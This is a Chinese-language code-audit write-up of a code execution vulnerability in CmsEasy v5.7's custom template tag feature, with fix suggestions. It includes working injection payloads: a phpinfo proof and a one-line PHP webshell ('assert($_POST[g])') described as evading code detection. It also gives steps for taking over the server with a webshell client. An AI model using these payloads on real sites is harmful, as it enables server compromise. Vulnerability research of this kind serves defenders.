0x00 环境准备

CmsEasy官网:http://www.cmseasy.cn/

网站源码版本:CmsEasy_v5.7_UTF8-0208

程序源码下载:

http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.7_UTF-8_20180208.zip

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/lib/table/table_templatetagwap.php 第3-20行:

  1. class table_templatetag extends table_mode {
  2. function vaild() {
  3. if(!front::post('name')) {
  4. front::flash('请填写名称!');
  5. return false;
  6. }
  7. if(!front::post('tagcontent')) {
  8. front::flash('请填写内容!');
  9. return false;
  10. 10.         }
  11. 11.         return true;
  12. 12.     }
  13. 13.     function save_before() {
  14. 14.         if(!front::post('tagfrom')) front::$post['tagfrom']='define';
  15. 15.         if(!front::post('attr1')) front::$post['attr1']='0';
  16. 16.         if(front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
  17. 17.     }

18. }

可以看到在写入文件之前,使用htmlspecialchars_decode函数把预定义的 HTML 实体 "<"(小于)和 ">"(大于)转换为字符。因此我们可以使用双引号闭合,从而构造出Payload写入文件,进一步触发代码,导致程序在实现上存在代码执行漏洞。攻击者可通过构造恶意脚本代码写入配置文件,从而执行命令,控制网站服务器权限。

0x02 漏洞利用

1、登录后台, 模板--自定义标签—添加自定义标签--填写Payload—提交:

Payload: 1111111111";}<?php phpinfo()?>

2、提交保存后,点击预览,成功触发代码,或者查看id的值,然后直接访问文件路径:http://127.0.0.1/config/tag/category_13.php

3、附绕代码检测的一句话Payload: 11";}<?php assert($_POST[g]);?>

通过菜刀连接,控制网站服务器:

0x03 修复建议

1、写入配置文件前,对特殊字符(如”、<、>等)进行htmlencode处理;

2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CmsEasy_v5.7 代码执行漏洞分析相关推荐

  1. Nette框架未授权任意代码执行漏洞分析

    Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...

  2. Joomla远程代码执行漏洞分析小白版(小宇特详解)

    Joomla远程代码执行漏洞分析小白版(小宇特详解) 今天看了一下2021陇原战役WP,在看web方向的时候,看到pop链,想了解一下,后来又看到了p师傅在15年的一篇文章,在这里记录一下.这里主要是 ...

  3. 【代码审计】DouPHP_v1.3代码执行漏洞分析

      0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...

  4. cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析

    前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...

  5. goahead处理json_GoAhead Web Server远程代码执行漏洞分析(附PoC)

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 本文是关于GoAhead web server远程代码执行漏洞(CVE-2017- ...

  6. ecshop 解密index.php,ECShop 2.x 3.0代码执行漏洞分析

    0x00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0x01 漏洞原理 ECShop 没有对 $GLOBAL['_SE ...

  7. wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943

    近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...

  8. php excel中解析显示html代码_骑士cms从任意文件包含到远程代码执行漏洞分析

    前言 前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞.这篇文章将从漏洞 ...

  9. CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析

    Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器.         Microsoft Internet Explorer 6至9版本中存在漏 ...

最新文章

  1. C语言 fread()与fwrite()函数说明与示例
  2. 替换openjdk的版本时遇到报错Transaction check error
  3. html5三国策略布阵,丰神三国怎样布阵 布阵方法推荐
  4. 为何单线程的 Redis 却能支撑高并发?
  5. RUNOOB python练习题25 递归实现阶乘
  6. 打桩时不修改源码_考研网上报名点了修改报名,修改后到报名点时,出现部分信息不符合参考条件,请修改或重新报名...
  7. 作业要求 20171130 每周例行报告
  8. Acronis移动方案(三)
  9. 二维前缀和(附模板题)
  10. 神码与SUSE共促Unix向x86+Linux迁移
  11. 每天半小时,成功通过PMP!!!
  12. python 培训 邹博
  13. 筋斗云教程(一): 运行筋斗云应用
  14. 没有人能够一味地淡定,没有人能够一味地忍受
  15. 七牛首席布道师:Go不是在颠覆,就是在逆袭
  16. 哈希取模余的基底为什么要选择素数?
  17. 测试用例和bug描述规范参考
  18. (23)Linux基础-系统磁盘阵列raid
  19. 《Python小白入门》python环境安装,一步一截图
  20. 腾讯新使命科技向善,首先对公众号善意一些可以吗?

热门文章

  1. lock与synchronized锁有什么区别?它们的底层实现原理是什么?
  2. 一句话理解FPGA,VHDL,EDA到底有什么区别
  3. 【网络安全】小白每天学一点之“应用分析工具” [spyxx]
  4. Stream流使用,收集成一个List或者Set集合,可以代替for循环使用
  5. gRPC的stream使用
  6. 不能忘却的记忆——水源垃圾史
  7. Javascript实现放大镜效果(手把手教会+详细注释+完整代码)
  8. 徐州大学路用两年时间超越了北京路
  9. java中百分数怎么转小数点,Java小数点数字和百分号数字之间的转换详解
  10. 2016年暑假和传余学长所学到的那点事